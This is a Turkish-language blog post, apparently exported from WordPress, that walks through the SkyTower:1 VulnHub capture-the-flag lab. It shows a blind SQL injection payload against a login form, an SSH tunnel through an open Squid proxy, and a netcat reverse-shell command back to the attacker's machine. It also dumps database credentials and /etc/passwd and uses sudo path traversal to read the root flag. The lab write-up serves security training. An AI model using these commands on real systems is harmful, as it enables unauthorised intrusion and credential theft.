{"id":1169,"date":"2021-06-04T01:09:34","date_gmt":"2021-06-04T01:09:34","guid":{"rendered":"http:\/\/144.76.171.171\/blog\/?p=1169"},"modified":"2021-06-04T01:09:34","modified_gmt":"2021-06-04T01:09:34","slug":"skytower-1","status":"publish","type":"post","link":"https:\/\/berenkudaygorun.com\/blog\/blog\/2021\/06\/04\/skytower-1\/","title":{"rendered":"SKYTOWER: 1"},"content":{"rendered":"<h2>Makine Hakk\u0131nda Bilgiler<\/h2>\n<p><strong>A\u00e7\u0131klama:<\/strong><br \/>\nThis CTF was designed by Telspace Systems for the CTF at the ITWeb Security Summit and BSidesCPT (Cape Town). The aim is to test intermediate to advanced security enthusiasts in their ability to attack a system using a multi-faceted approach and obtain the &quot;flag&quot;.<\/p>\n<p><strong>Vulnhub Sayfas\u0131:<\/strong><br \/>\n<a href=\"https:\/\/www.vulnhub.com\/entry\/skytower-1,96\/\">https:\/\/www.vulnhub.com\/entry\/skytower-1,96\/<\/a><\/p>\n<p><strong>\u0130ndirme Sayfas\u0131:<\/strong> <a href=\"https:\/\/download.vulnhub.com\/skytower\/SkyTower.zip\">https:\/\/download.vulnhub.com\/skytower\/SkyTower.zip<\/a><\/p>\n<h2>Walkthrough<\/h2>\n<p>Makinenin ip adresini tespit edelim.<\/p>\n<pre><code class=\"language-sh\">\u250c\u2500\u2500(root&#x1f480;kali)-[\/home\/kali]\n\u2514\u2500# ifconfig eth0\neth0: flags=4163&lt;UP,BROADCAST,RUNNING,MULTICAST&gt;  mtu 1500\n        inet 192.168.0.21  netmask 255.255.255.0  broadcast 192.168.0.255\n        inet6 fe80::20c:29ff:fe4a:4d3f  prefixlen 64  scopeid 0x20&lt;link&gt;\n        ether 00:0c:29:4a:4d:3f  txqueuelen 1000  (Ethernet)\n        RX packets 1091  bytes 69439 (67.8 KiB)\n        RX errors 0  dropped 0  overruns 0  frame 0\n        TX packets 5055  bytes 304408 (297.2 KiB)\n        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0\n\n\u250c\u2500\u2500(root&#x1f480;kali)-[\/home\/kali]\n\u2514\u2500# arp-scan -l | grep 08:00:27:54:4a:37\n192.168.0.29    08:00:27:54:4a:37   PCS Systemtechnik GmbH\n<\/code><\/pre>\n<p>nmap taramas\u0131 ile devam edelim.<\/p>\n<pre><code class=\"language-sh\">\n\u250c\u2500\u2500(root&#x1f480;kali)-[\/home\/kali\/oscp\/sktower]\n\u2514\u2500# nmap -p- -A 192.168.0.29 -T4\nStarting Nmap 7.91 ( https:\/\/nmap.org ) at 2021-06-03 19:03 EDT\nNmap scan report for 192.168.0.29\nHost is up (0.0014s latency).\nNot shown: 65532 closed ports\nPORT     STATE    SERVICE    VERSION\n22\/tcp   filtered ssh\n80\/tcp   open     http       Apache httpd 2.2.22 ((Debian))\n|_http-server-header: Apache\/2.2.22 (Debian)\n|_http-title: Site doesn&#039;t have a title (text\/html).\n3128\/tcp open     http-proxy Squid http proxy 3.1.20\n| http-open-proxy: Potentially OPEN proxy.\n|_Methods supported: GET HEAD\n|_http-server-header: squid\/3.1.20\n|_http-title: ERROR: The requested URL could not be retrieved\nMAC Address: 08:00:27:54:4A:37 (Oracle VirtualBox virtual NIC)\nDevice type: general purpose\nRunning: Linux 3.X\nOS CPE: cpe:\/o:linux:linux_kernel:3\nOS details: Linux 3.2 - 3.10, Linux 3.2 - 3.16\nNetwork Distance: 1 hop\n\nTRACEROUTE\nHOP RTT     ADDRESS\n1   1.36 ms 192.168.0.29\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\nNmap done: 1 IP address (1 host up) scanned in 26.95 seconds\n<\/code><\/pre>\n<p>Filtered bir ssh, bir http serisi ve bir tane de http-proxy bulunmakta. 80. port ile ba\u015flayal\u0131m&#8230;<\/p>\n<p>Bir login sayfas\u0131 buldum ve sql injection denemeleri ger\u00e7ekle\u015ftirdim. sqlmap ile i\u015flemler ger\u00e7ekle\u015ftirdi\u011fimde sqlmap i\u00e7erisinde a\u015fa\u011f\u0131daki gibi bir sonu\u00e7 yakalad\u0131m.<\/p>\n<pre><code>[19:52:56] [INFO] testing &#039;MySQL &lt; 5.0.12 AND time-based blind (heavy query - comment)&#039;\n[19:52:57] [INFO] testing &#039;MySQL &lt; 5.0.12 OR time-based blind (heavy query - comment)&#039;\n[19:52:58] [INFO] testing &#039;MySQL &gt;= 5.0.12 RLIKE time-based blind&#039;\n[19:52:59] [INFO] testing &#039;MySQL &gt;= 5.0.12 RLIKE time-based blind (comment)&#039;\n[19:53:29] [INFO] POST parameter &#039;email&#039; appears to be &#039;MySQL &gt;= 5.0.12 RLIKE time-based blind (comment)&#039; injectable \n[19:53:29] [INFO] testing &#039;Generic UNION query (NULL) - 1 to 20 columns&#039;\n[19:53:29] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found\n[19:53:30] [INFO] testing &#039;Generic UNION query (random number) - 1 to 20 columns&#039;\n[19:53:30] [INFO] testing &#039;Generic UNION query (NULL) - 21 to 40 columns&#039;\n[19:53:30] [INFO] testing &#039;Generic UNION query (random number) - 21 to 40 columns&#039;\n[19:53:31] [INFO] testing &#039;Generic UNION query (NULL) - 41 to 60 columns&#039;\n[19:53:32] [INFO] testing &#039;Generic UNION query (random number) - 41 to 60 columns&#039;\n[19:53:32] [INFO] testing &#039;Generic UNION query (NULL) - 61 to 80 columns&#039;\n[19:53:33] [INFO] testing &#039;Generic UNION query (random number) - 61 to 80 columns&#039;\n[19:53:33] [INFO] testing &#039;Generic UNION query (NULL) - 81 to 100 columns&#039;\n[19:53:33] [INFO] testing &#039;Generic UNION query (random number) - 81 to 100 columns&#039;\n[19:53:34] [INFO] testing &#039;MySQL UNION query (NULL) - 1 to 20 columns&#039;\n[19:53:34] [INFO] testing &#039;MySQL UNION query (random number) - 1 to 20 columns&#039;\n[19:53:35] [INFO] testing &#039;MySQL UNION query (NULL) - 21 to 40 columns&#039;\n[19:53:35] [INFO] testing &#039;MySQL UNION query (random number) - 21 to 40 columns&#039;\n[19:53:36] [INFO] testing &#039;MySQL UNION query (NULL) - 41 to 60 columns&#039;\n[19:53:36] [INFO] testing &#039;MySQL UNION query (random number) - 41 to 60 columns&#039;\n[19:53:37] [INFO] testing &#039;MySQL UNION query (NULL) - 61 to 80 columns&#039;\n[19:53:37] [INFO] testing &#039;MySQL UNION query (random number) - 61 to 80 columns&#039;\n[19:53:38] [INFO] testing &#039;MySQL UNION query (NULL) - 81 to 100 columns&#039;\n[19:53:38] [INFO] testing &#039;MySQL UNION query (random number) - 81 to 100 columns&#039;\n[19:53:39] [INFO] checking if the injection point on POST parameter &#039;email&#039; is a false positive\n[19:53:39] [WARNING] false positive or unexploitable injection point detected\n[19:53:39] [WARNING] POST parameter &#039;email&#039; does not seem to be injectable\n[19:53:39] [CRITICAL] all tested parameters do not appear to be injectable. As heuristic test turned out positive you are strongly advised to continue on with the tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option &#039;--tamper&#039; (e.g. &#039;--tamper=space2comment&#039;) and\/or switch &#039;--random-agent&#039;<\/code><\/pre>\n<p>Dikkat ettiyseniz sqlmap bunun bir false-positive oldu\u011funu s\u00f6ylemekte ancak ein olmak i\u00e7in -v6 ile taramay\u0131 yineledi\u011fimde asl\u0131nda bir sqli oldu\u011funu farkettim. Bunun \u00f6rnek bir \u00e7\u0131kt\u0131s\u0131 ala\u011f\u0131da verilmi\u015ftir.<\/p>\n<pre><code>[19:50:08] [PAYLOAD] admin&#039; RLIKE SLEEP(0)#\n[19:50:08] [TRAFFIC OUT] HTTP request [#3112]:\nPOST \/login.php HTTP\/1.1\nHost: 192.168.0.29\nUser-agent: Mozilla\/5.0 (X11; Linux x86_64; rv:78.0) Gecko\/20100101 Firefox\/78.0\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8\nAccept-language: en-US,en;q=0.5\nAccept-encoding: gzip, deflate\nContent-type: application\/x-www-form-urlencoded\nOrigin: http:\/\/192.168.0.29\nReferer: http:\/\/192.168.0.29\/\nUpgrade-Insecure-Requests: 1\nContent-length: 55\nConnection: close\n\nemail=admin%27%20RLIKE%20SLEEP%280%29%23&amp;password=admin\n\n[19:50:08] [TRAFFIC IN] HTTP response [#3112] (200 OK):\nDate: Thu, 03 Jun 2021 23:50:07 GMT\nServer: Apache\/2.2.22 (Debian)\nX-Powered-By: PHP\/5.4.4-14+deb7u9\nVary: Accept-Encoding\nContent-Encoding: gzip\nContent-Length: 698\nConnection: close\nContent-Type: text\/html\nURI: http:\/\/192.168.0.29:80\/login.php\n\n&lt;HTML&gt;\n      &lt;div style=&quot;height:100%; width:100%;background-image:url(&#039;background.jpg&#039;);\n                                background-size:100%;\n                                background-position:50% 50%;\n                                background-repeat:no-repeat;&quot;&gt;\n      &lt;div style=&quot;\n          padding-right:8px;  \n              padding-left:10px; \n          padding-top: 10px;  \n              padding-bottom: 10px;  \n                  background-color:white;     \n                  border-color: #000000;\n                  border-width: 5px;\n                  border-style: solid;\n                  width: 400px;\n                  height:430px;\n                  position:absolute;\n                  top:50%;\n                  left:50%;\n                  margin-top:-215px; \/* this is half the height of your div*\/  \n                  margin-left:-200px;\n                                &quot;&gt;\n    &lt;br&gt;&lt;strong&gt;&lt;font size=4&gt;Welcome john@skytech.com&lt;\/font&gt;&lt;br \/&gt; &lt;\/br&gt;&lt;\/strong&gt;As you may know, SkyTech has ceased all international operations.&lt;br&gt;&lt;br&gt; To all our long term employees, we wish to convey our thanks for your dedication and hard work.&lt;br&gt;&lt;br&gt;&lt;strong&gt;Unfortunately, all international contracts, including yours have been terminated.&lt;\/strong&gt;&lt;br&gt;&lt;br&gt; The remainder of your contract and retirement fund, &lt;strong&gt;$2&lt;\/strong&gt; ,has been payed out in full to a secure account.  For security reasons, you must login to the SkyTech server via SSH to access the account details.&lt;br&gt;&lt;br&gt;&lt;strong&gt;Username: john&lt;\/strong&gt;&lt;br&gt;&lt;strong&gt;Password: hereisjohn&lt;\/strong&gt; &lt;br&gt;&lt;br&gt; We wish you the best of luck in your future endeavors. &lt;br&gt; &lt;\/div&gt; &lt;\/div&gt;&lt;\/HTML&gt;\n[19:50:08] [PAYLOAD] admin&#039; RLIKE SLEEP(5)#\n[19:50:08] [TRAFFIC OUT] HTTP request [#3113]:\nPOST \/login.php HTTP\/1.1\nHost: 192.168.0.29\nUser-agent: Mozilla\/5.0 (X11; Linux x86_64; rv:78.0) Gecko\/20100101 Firefox\/78.0\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8\nAccept-language: en-US,en;q=0.5\nAccept-encoding: gzip, deflate\nContent-type: application\/x-www-form-urlencoded\nOrigin: http:\/\/192.168.0.29\nReferer: http:\/\/192.168.0.29\/\nUpgrade-Insecure-Requests: 1\nContent-length: 55\nConnection: close\n\nemail=admin%27%20RLIKE%20SLEEP%285%29%23&amp;password=admin\n\n[19:50:09] [WARNING] user aborted during detection phase\nhow do you want to proceed? [(S)kip current test\/(e)nd detection phase\/(n)ext parameter\/(c)hange verbosity\/(q)uit] \n[*] ending @ 19:51:17 \/2021-06-03\/\n<\/code><\/pre>\n<p>Ayr\u0131ca testler oyunca kulland\u0131\u011f\u0131m http iste\u011fi de a\u015fa\u011f\u0131dad\u0131r.<\/p>\n<pre><code class=\"language-sh\">\n\u250c\u2500\u2500(root&#x1f480;kali)-[\/home\/kali\/oscp\/sktower]\n\u2514\u2500# cat istek \nPOST \/login.php HTTP\/1.1\nHost: 192.168.0.29\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:78.0) Gecko\/20100101 Firefox\/78.0\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application\/x-www-form-urlencoded\nContent-Length: 26\nOrigin: http:\/\/192.168.0.29\nConnection: close\nReferer: http:\/\/192.168.0.29\/\nUpgrade-Insecure-Requests: 1\n\nemail=admin&amp;password=admin\n<\/code><\/pre>\n<p>Anlad\u0131\u011f\u0131m kadar\u0131yla sqlmap sqli&#8217;\u0131n fark\u0131na varam\u0131yor blind t\u00fcrlerde kar\u015f\u0131m\u0131za \u00e7\u0131kabilecek bir case. Bunu daha iyi anlamak i\u00e7in proxy ile burp&#8217;u kulland\u0131m ve gelen cevaplar\u0131n boyutlar\u0131n\u0131 kar\u015f\u0131la\u015ft\u0131rd\u0131m.<\/p>\n<pre><code class=\"language-sh\">\u250c\u2500\u2500(root&#x1f480;kali)-[\/home\/kali\/oscp\/sktower]\n\u2514\u2500# sqlmap -r istek --level=5 --risk=3 --dbs -p email --dbms=&quot;mysql&quot; --batch --proxy=http:\/\/127.0.0.1:8080\n<\/code><\/pre>\n<p>Evet burp&#8217;teki \u00e7\u0131kt\u0131lara bakt\u0131\u011f\u0131mda, \u00f6rnek olarak <strong>email=admin%27%20RLIKE%20SLEEP%285%29%23&amp;password=admin<\/strong> gibi bir payload&#8217;da a\u015fa\u011f\u0131daki gibi bir cevap almaktay\u0131m.<\/p>\n<pre><code class=\"language-http\">HTTP\/1.1 200 OK\n\nDate: Thu, 03 Jun 2021 23:53:13 GMT\n\nServer: Apache\/2.2.22 (Debian)\n\nX-Powered-By: PHP\/5.4.4-14+deb7u9\n\nVary: Accept-Encoding\n\nContent-Length: 1626\n\nConnection: close\n\nContent-Type: text\/html\n\n&lt;HTML&gt;\n      &lt;div style=&quot;height:100%; width:100%;background-image:url(&#039;background.jpg&#039;);\n                                background-size:100%;\n                                background-position:50% 50%;\n                                background-repeat:no-repeat;&quot;&gt;\n      &lt;div style=&quot;\n          padding-right:8px;  \n              padding-left:10px; \n          padding-top: 10px;  \n              padding-bottom: 10px;  \n                  background-color:white;     \n                  border-color: #000000;\n                  border-width: 5px;\n                  border-style: solid;\n                  width: 400px;\n                  height:430px;\n                  position:absolute;\n                  top:50%;\n                  left:50%;\n                  margin-top:-215px; \/* this is half the height of your div*\/  \n                  margin-left:-200px;\n                                &quot;&gt;\n    &lt;br&gt;&lt;strong&gt;&lt;font size=4&gt;Welcome john@skytech.com&lt;\/font&gt;&lt;br \/&gt; &lt;\/br&gt;&lt;\/strong&gt;As you may know, SkyTech has ceased all international operations.&lt;br&gt;&lt;br&gt; To all our long term employees, we wish to convey our thanks for your dedication and hard work.&lt;br&gt;&lt;br&gt;&lt;strong&gt;Unfortunately, all international contracts, including yours have been terminated.&lt;\/strong&gt;&lt;br&gt;&lt;br&gt; The remainder of your contract and retirement fund, &lt;strong&gt;$2&lt;\/strong&gt; ,has been payed out in full to a secure account.  For security reasons, you must login to the SkyTech server via SSH to access the account details.&lt;br&gt;&lt;br&gt;&lt;strong&gt;Username: john&lt;\/strong&gt;&lt;br&gt;&lt;strong&gt;Password: hereisjohn&lt;\/strong&gt; &lt;br&gt;&lt;br&gt; We wish you the best of luck in your future endeavors. &lt;br&gt; &lt;\/div&gt; &lt;\/div&gt;&lt;\/HTML&gt;<\/code><\/pre>\n<p>Bu bilgiler ile bir ssh ba\u011flant\u0131s\u0131 kurmay\u0131 denedim.<\/p>\n<pre><code class=\"language-sh\">\u250c\u2500\u2500(root&#x1f480;kali)-[\/home\/kali\/oscp\/sktower]\n\u2514\u2500# ssh john@192.168.0.29                                                                                                                                                                                                              130 \u2a2f\n\n^C\n<\/code><\/pre>\n<p>H\u0131mm&#8230; Filtered oldu\u011funu unutmamak gerekiyor. Bunun \u00fczerine http-proxy arac\u0131l\u0131\u011f\u0131 ile bir ba\u011flant\u0131 denemeye karar verdim.<\/p>\n<pre><code class=\"language-sh\">\n\u250c\u2500\u2500(root&#x1f480;kali)-[\/home\/kali\/oscp\/sktower]\n\u2514\u2500# proxytunnel -p 192.168.0.29:3128 -d 127.0.0.1:22 -a 1822                                                                                                                                                                             1 \u2a2f\n<\/code><\/pre>\n<pre><code class=\"language-sh\">\u250c\u2500\u2500(root&#x1f480;kali)-[\/home\/kali\/oscp\/sktower]\n\u2514\u2500# ssh john@127.0.0.1 -p 1822                                                                                 255 \u2a2f\njohn@127.0.0.1&#039;s password: \nLinux SkyTower 3.2.0-4-amd64 #1 SMP Debian 3.2.54-2 x86_64\n\nThe programs included with the Debian GNU\/Linux system are free software;\nthe exact distribution terms for each program are described in the\nindividual files in \/usr\/share\/doc\/*\/copyright.\n\nDebian GNU\/Linux comes with ABSOLUTELY NO WARRANTY, to the extent\npermitted by applicable law.\nLast login: Thu Jun  3 20:32:16 2021 from localhost\n\nFunds have been withdrawn\nConnection to 127.0.0.1 closed.<\/code><\/pre>\n<p>Anald\u0131\u011f\u0131m kadar\u0131yla .bashrc dosyas\u0131na exit komutu verilmi\u015f. Bir deneme daha gere\u00e7ekle\u015ftirdim.<\/p>\n<pre><code class=\"language-sh\">\u250c\u2500\u2500(root&#x1f480;kali)-[\/home\/kali\/oscp\/sktower]\n\u2514\u2500# ssh john@127.0.0.1 -p 1822 -t &quot;whoami&quot;          \njohn@127.0.0.1&#039;s password: \njohn\nConnection to 127.0.0.1 closed.\n<\/code><\/pre>\n<p>Harika. Bundan sonra bir nc oturumu ba\u015flatt\u0131m ve makine i\u00e7erisine ba\u011fland\u0131m.<\/p>\n<pre><code class=\"language-sh\">\u250c\u2500\u2500(root&#x1f480;kali)-[\/home\/kali\/oscp\/sktower]\n\u2514\u2500# ssh john@127.0.0.1 -p 1822 -t &quot;nc 192.168.0.21 1234 -e \/bin\/bash&quot;\njohn@127.0.0.1&#039;s password: \n<\/code><\/pre>\n<pre><code class=\"language-sh\">\u250c\u2500\u2500(root&#x1f480;kali)-[\/home\/kali\/oscp\/sktower]\n\u2514\u2500# nc -lvp 1234                                                                                                                                                                                                                       130 \u2a2f\nlistening on [any] 1234 ...\n192.168.0.29: inverse host lookup failed: Unknown host\nconnect to [192.168.0.21] from (UNKNOWN) [192.168.0.29] 58888\nwhoami\njohn\n<\/code><\/pre>\n<p>Bir tak\u0131m kontroller ger\u00e7ekle\u015ftirdikten sonra mysql connection bilgilerini elde ettim. Ve mysql&#8217;e ba\u011fland\u0131m.<\/p>\n<pre><code class=\"language-sh\">cd \/var\/www\nls\nbackground2.jpg\nbackground.jpg\nindex.html\nlogin.php\n\nhead login.php\n&lt;?php\n\n$db = new mysqli(&#039;localhost&#039;, &#039;root&#039;, &#039;root&#039;, &#039;SkyTech&#039;);\n\nif($db-&gt;connect_errno &gt; 0){\n    die(&#039;Unable to connect to database [&#039; . $db-&gt;connect_error . &#039;]&#039;);\n\n}\n\n$sqlinjection = array(&quot;SELECT&quot;, &quot;TRUE&quot;, &quot;FALSE&quot;, &quot;--&quot;,&quot;OR&quot;, &quot;=&quot;, &quot;,&quot;, &quot;AND&quot;, &quot;NOT&quot;);\n<\/code><\/pre>\n<pre><code class=\"language-sh\">\u250c\u2500\u2500(root&#x1f480;kali)-[\/home\/kali\/oscp\/sktower]\n\u2514\u2500# ssh john@127.0.0.1 -p 1822 -t &quot;mysql -u root -p&quot;                                                                                                                                     1 \u2a2f\njohn@127.0.0.1&#039;s password: \nPermission denied, please try again.\njohn@127.0.0.1&#039;s password: \nPermission denied, please try again.\njohn@127.0.0.1&#039;s password: \nEnter password: \nWelcome to the MySQL monitor.  Commands end with ; or \\g.\nYour MySQL connection id is 54861\nServer version: 5.5.35-0+wheezy1 (Debian)\n\nCopyright (c) 2000, 2013, Oracle and\/or its affiliates. All rights reserved.\n\nOracle is a registered trademark of Oracle Corporation and\/or its\naffiliates. Other names may be trademarks of their respective\nowners.\n\nType &#039;help;&#039; or &#039;\\h&#039; for help. Type &#039;\\c&#039; to clear the current input statement.\n\nmysql&gt; show databases;\n+--------------------+\n| Database           |\n+--------------------+\n| information_schema |\n| SkyTech            |\n| mysql              |\n| performance_schema |\n+--------------------+\n4 rows in set (0.00 sec)\n\nmysql&gt; use SkyTech;\nReading table information for completion of table and column names\nYou can turn off this feature to get a quicker startup with -A\n\nDatabase changed\nmysql&gt; show tables;\n+-------------------+\n| Tables_in_SkyTech |\n+-------------------+\n| login             |\n+-------------------+\n1 row in set (0.00 sec)\n\nmysql&gt; select * from login;\n+----+---------------------+--------------+\n| id | email               | password     |\n+----+---------------------+--------------+\n|  1 | john@skytech.com    | hereisjohn   |\n|  2 | sara@skytech.com    | ihatethisjob |\n|  3 | william@skytech.com | senseable    |\n+----+---------------------+--------------+\n3 rows in set (0.00 sec)\n\nmysql&gt; Connection to 127.0.0.1 closed by remote host.\nConnection to 127.0.0.1 closed.\n<\/code><\/pre>\n<p>Harika elimizde baz\u0131 kullan\u0131c\u0131 bilgileri var. Bu kullan\u0131c\u0131alr ay\u0131 zamanda \/etc\/passwd alt\u0131nda olan kullan\u0131c\u0131lar.<\/p>\n<pre><code class=\"language-sh\">cat \/etc\/passwd\nroot:x:0:0:root:\/root:\/bin\/bash\ndaemon:x:1:1:daemon:\/usr\/sbin:\/bin\/sh\nbin:x:2:2:bin:\/bin:\/bin\/sh\nsys:x:3:3:sys:\/dev:\/bin\/sh\nsync:x:4:65534:sync:\/bin:\/bin\/sync\ngames:x:5:60:games:\/usr\/games:\/bin\/sh\nman:x:6:12:man:\/var\/cache\/man:\/bin\/sh\nlp:x:7:7:lp:\/var\/spool\/lpd:\/bin\/sh\nmail:x:8:8:mail:\/var\/mail:\/bin\/sh\nnews:x:9:9:news:\/var\/spool\/news:\/bin\/sh\nuucp:x:10:10:uucp:\/var\/spool\/uucp:\/bin\/sh\nproxy:x:13:13:proxy:\/bin:\/bin\/sh\nwww-data:x:33:33:www-data:\/var\/www:\/bin\/sh\nbackup:x:34:34:backup:\/var\/backups:\/bin\/sh\nlist:x:38:38:Mailing List Manager:\/var\/list:\/bin\/sh\nirc:x:39:39:ircd:\/var\/run\/ircd:\/bin\/sh\ngnats:x:41:41:Gnats Bug-Reporting System (admin):\/var\/lib\/gnats:\/bin\/sh\nnobody:x:65534:65534:nobody:\/nonexistent:\/bin\/sh\nlibuuid:x:100:101::\/var\/lib\/libuuid:\/bin\/sh\nsshd:x:101:65534::\/var\/run\/sshd:\/usr\/sbin\/nologin\nmysql:x:102:105:MySQL Server,,,:\/nonexistent:\/bin\/false\njohn:x:1000:1000:john,,,:\/home\/john:\/bin\/bash\nsara:x:1001:1001:,,,:\/home\/sara:\/bin\/bash\nwilliam:x:1002:1002:,,,:\/home\/william:\/bin\/bash<\/code><\/pre>\n<p>john kullan\u0131c\u0131s\u0131ndan belirli bir s\u00fcre sonra \u00e7\u0131kt\u0131m ve sara kullan\u0131c\u0131s\u0131na ge\u00e7i\u015f yapt\u0131m. Bu kullan\u0131c\u0131 baz\u0131nda incelemeler ger\u00e7ekle\u015ftiriken sudo&#8217;yu kullanabildi\u011fini g\u00f6rd\u00fcm.<\/p>\n<pre><code class=\"language-sh\">\n\u250c\u2500\u2500(root&#x1f480;kali)-[\/home\/kali\/oscp\/sktower]\n\u2514\u2500# nc -lvp 1234                                                                                                                                                                                                                         1 \u2a2f\nlistening on [any] 1234 ...\n192.168.0.29: inverse host lookup failed: Unknown host\nconnect to [192.168.0.21] from (UNKNOWN) [192.168.0.29] 58880\nsudo -l\nMatching Defaults entries for sara on this host:\n    env_reset, mail_badpass, secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin\n\nUser sara may run the following commands on this host:\n    (root) NOPASSWD: \/bin\/cat \/accounts\/*, (root) \/bin\/ls \/accounts\/*\n\n^C\n\n\u250c\u2500\u2500(root&#x1f480;kali)-[\/home\/kali\/oscp\/sktower]\n\u2514\u2500# nc -lvp 1234                                                                                                                                                                                                                         1 \u2a2f\nlistening on [any] 1234 ...\n192.168.0.29: inverse host lookup failed: Unknown host\nconnect to [192.168.0.21] from (UNKNOWN) [192.168.0.29] 58882\n\/bin\/ls \/accounts\/..\/..\/..\/..\/..\/..\/..\/..\/..\/root\n\nls\n\nsudo \/bin\/ls \/accounts\/..\/..\/..\/..\/..\/..\/..\/..\/..\/root\nflag.txt\n\nsudo \/bin\/cat \/accounts\/..\/..\/..\/..\/..\/..\/..\/..\/..\/root\/flag.txt\nCongratz, have a cold one to celebrate!\nroot password is theskytower\n<\/code><\/pre>\n<p>Bingo! root kullan\u0131c\u0131s\u0131n\u0131n parolas\u0131n\u0131da ald\u0131k ve ssh ile ba\u011flant\u0131 kurabilioruz.<\/p>\n<pre><code class=\"language-sh\">\u250c\u2500\u2500(root&#x1f480;kali)-[\/home\/kali\/oscp\/sktower]\n\u2514\u2500# ssh root@127.0.0.1 -p 1822                                                                                                                                                                                                           1 \u2a2f\nroot@127.0.0.1&#039;s password: \nLinux SkyTower 3.2.0-4-amd64 #1 SMP Debian 3.2.54-2 x86_64\n\nThe programs included with the Debian GNU\/Linux system are free software;\nthe exact distribution terms for each program are described in the\nindividual files in \/usr\/share\/doc\/*\/copyright.\n\nDebian GNU\/Linux comes with ABSOLUTELY NO WARRANTY, to the extent\npermitted by applicable law.\nLast login: Fri Jun 20 09:01:28 2014\nroot@SkyTower:~# whoami\nroot\n<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p>Makine Hakk\u0131nda Bilgiler A\u00e7\u0131klama: This CTF was designed by Telspace Systems for the CTF at the ITWeb Security Summit and BSidesCPT (Cape Town). The aim&#8230;<\/p>\n<div class=\"more-link-wrapper\"><a class=\"more-link\" href=\"https:\/\/berenkudaygorun.com\/blog\/blog\/2021\/06\/04\/skytower-1\/\">Devam\u0131n\u0131 oku<span class=\"screen-reader-text\">SKYTOWER: 1<\/span><\/a><\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[498],"tags":[512,511,28],"class_list":["post-1169","post","type-post","status-publish","format-standard","hentry","category-walkthrough","tag-http-proxy","tag-proxytunnel","tag-sql-injection","entry"],"_links":{"self":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1169","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/comments?post=1169"}],"version-history":[{"count":1,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1169\/revisions"}],"predecessor-version":[{"id":1170,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1169\/revisions\/1170"}],"wp:attachment":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/media?parent=1169"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/categories?post=1169"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/tags?post=1169"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}